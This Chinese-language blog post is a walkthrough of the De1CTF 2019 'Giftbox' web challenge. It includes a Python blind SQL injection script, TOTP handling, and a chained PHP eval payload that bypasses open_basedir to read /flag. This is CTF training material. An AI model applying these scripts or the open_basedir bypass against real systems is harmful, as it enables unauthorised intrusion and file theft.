Ricky's Blog


[De1CTF 2019]Giftbox 逐步分析
2021-02-06

[De1CTF 2019]Giftbox 逐步分析

打开来是个网页沙盒

% ls
usage.md  missiles  modules
% cat usage.md
[De1ta Nuclear Missile Controlling System]

login [username] [password]
logout
launch
targeting [code] [position]
destruct

Besides, there are some hidden commands, try to find them!

其它的也暂时执行不了, 从usage看出我们可以使用这几个功能, 尝试login功能并抓包, 想着应该可以进行注入

GET /shell.php?a=login%20admin%201&totp=57479466 HTTP/1.1

这个注入点没有任何过滤,但是需要注意空格的话会被识别为命令的分隔符, 如何测试?

% login xadmin'or(1)# 1234
login fail, password incorrect.
% login xadmin'or(0)# 1234
login fail, user not found.

还有个totp, 类似token, 尝试在F12源代码里寻找一些线索, 在 main.js

    if (commandList.indexOf(command) === -1) {
      $.ajax({
        url: host + '/shell.php?a='+encodeURIComponent(input)+'&totp=' + new TOTP("GAXG24JTMZXGKZBU",8).genOTP(),
        // totp的加密方式 new TOTP("GAXG24JTMZXGKZBU",8).genOTP()
        type: "GET",
        dataType: 'json',
        success: (res) => {
            e_main.html($('#main').html() + '[<span id="usr">' + usrName + '</span>@<span class="host">de1ta-mbp</span> ' + position + ']% ' + input + '<br/>' + res.message + '<br/>')
            if (e_console.height()-$(window).height()>0){e_console.css('top',-(e_console.height()-$(window).height()));}else{e_console.css('top',5);}
        },
        error: (res) => {
            e_main.html($('#main').html() + '[<span id="usr">' + usrName + '</span>@<span class="host">de1ta-mbp</span> ' + position + ']% ' + input + '<br/>System Fatal Error!<br/>')
            if (e_console.height()-$(window).height()>0){e_console.css('top',-(e_console.height()-$(window).height()));}else{e_console.css('top',5);}
        }
      })}

关于这个算法简单了解一下

totp是基于时间的一次性密码算法。

根据预共享的密钥与当前时间计算的一次性密码算法。

要求:

1) 令牌与服务器之间必须时钟同步;

2) 令牌与服务器之间必须共享密钥;

3) 令牌与服务器之间必须使用相同的时间步长

算法:

TOTP =Truncate(HMAC-SHA-1(K, (T - T0) / X)) X就是间隔的意思

在 console 测试了一下, 是个很简单的加密, 间隔为5

new TOTP("GAXG24JTMZXGKZBU",8).genOTP(1)
"30540134"
new TOTP("GAXG24JTMZXGKZBU",8).genOTP(2)
"17498625"
new TOTP("GAXG24JTMZXGKZBU",8).genOTP(3)
"49599217"
new TOTP("GAXG24JTMZXGKZBU",8).genOTP(4)
"11081560"
new TOTP("GAXG24JTMZXGKZBU",8).genOTP(5)
"46267981"
new TOTP("GAXG24JTMZXGKZBU",8).genOTP()
"46267981"

同时题目也给了提示

[Developer Notes]
OTP Library for Python located in js/pyotp.zip
Server Params:
digits = 8
interval = 5
window = 1

那就都掌握了, 写sql脚本爆破, 根据它报错的提示, 大概有两个字段 user 和 password, 一般表单命名为 users

import requests
import urllib
import string
import pyotp

url = 'http://bc9f0ce9-93dc-4801-a949-50268c063141.node3.buuoj.cn/shell.php?a={}&totp={}'
totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5)
s = requests.session()

result = ''
for i in range(1, 100):
    for j in range(32, 128):
        payload = "'/**/or/**/if(ascii(substr((select/**/password/**/from/**/users/**/limit/**/1),{},1))={},1,0)#".format(i, j)
        password = "b"
        payload = 'login {} {}'.format(payload, password)
        payload = urllib.parse.quote(payload)
        payload = url.format(payload, totp.now())
        res = requests.get(url=payload).text
        if 'incorrect' in res:
            result += chr(j)
            print(result)
print('[*]Result ' + result)

# hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}

得到以后输入后半部分hint

% sh0w_hiiintttt_23333
we add an evil monster named 'eval' when launching missiles.

得到提示 eval 在 lanuch 的时候被调用

launch 前需要先用 targeting 设置,不过对输入有限制,这里可以 fuzz 一下,得知 code 限制 a-zA-Z0-9 ,position限制 a-zA-Z0-9})$({_+-,. ,而且两者的长度也有限制, 分别是 3 和 13

这里需要用php复杂变量构造和拼接 payload , 此外还需要绕过 open_basedir

chdir('js');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));

脚本附上(js 和 css 都可以, var_dump 和 printf 都可以)

# -*- coding:utf-8 -*-
import requests
import re
import string
import pyotp

url = 'http://bc9f0ce9-93dc-4801-a949-50268c063141.node3.buuoj.cn/shell.php?a={}&totp={}'
totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5)
s = requests.session()

def login(username, password):  # 登录
    a = 'login {} {}'.format(username, password)
    payload = url.format(a, totp.now())
    s.get(payload)

def destruct():  # 清空lanuch命令
    a = 'destruct'
    payload = url.format(a, totp.now())
    s.get(payload)

def targeting(code, position):  # 输入执行指令
    a = 'targeting {} {}'.format(code, position)
    payload = url.format(a, totp.now())
    s.get(payload)

def launch():  # 发射执行指令, 相当于eval()
    a = 'launch'
    payload = url.format(a, totp.now())
    flag = re.search(r'[flag]{4}\{+(.*)', s.get(payload).text)
    return flag.group(0)

login('admin', 'hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}')
destruct()
targeting('a','chr')  # chr
targeting('b','{$a(46)}')  # .
targeting('c','{$b}{$b}')  # ..
targeting('d','{$a(47)}')  # /
targeting('e','js')  # js
# targeting('e','css')  # css
targeting('f','open_basedir')  # open_basedir
targeting('g','ini_set')  # ini_set
targeting('h','chdir')  # chdir
targeting('i','file_get_')  # file_get_
targeting('j','{$i}contents')  # file_get_contents
targeting('k','{$h($e)}')  # chdir('js');
targeting('l','{$g($f,$c)}')  # ini_set('open_basedir','..');
targeting('m','{$h($c)}')  # chdir('..');
targeting('m','{$h($c)}')  # chdir('..');
targeting('m','{$h($c)}')  # chdir('..');
targeting('m','{$h($c)}')  # chdir('..');
targeting('n','{$g($f,$d)}')  # ini_set('open_basedir','/');
targeting('o','{$d}flag')  # /flag
targeting('p','{$j($o)}')  # file_get_contents('/flag')
targeting('q','var_dump')  # var_dump
targeting('r','{$q($p)}')  # var_dump(file_get_contents('/flag'));
print(launch())

参考文献

浅析DelCTF web之Giftbox题解

DelCTF官方wp

Leave your footprints

  • [*] Admin need to check, please send and wait :) Send
  • Looking forward to your comment :)
  • CTF, AWD, Knowledge Writed By Ricky   粤ICP备2021008996号 Powered by WP && Designed by Rytia && Modified by Ricky
    返回顶部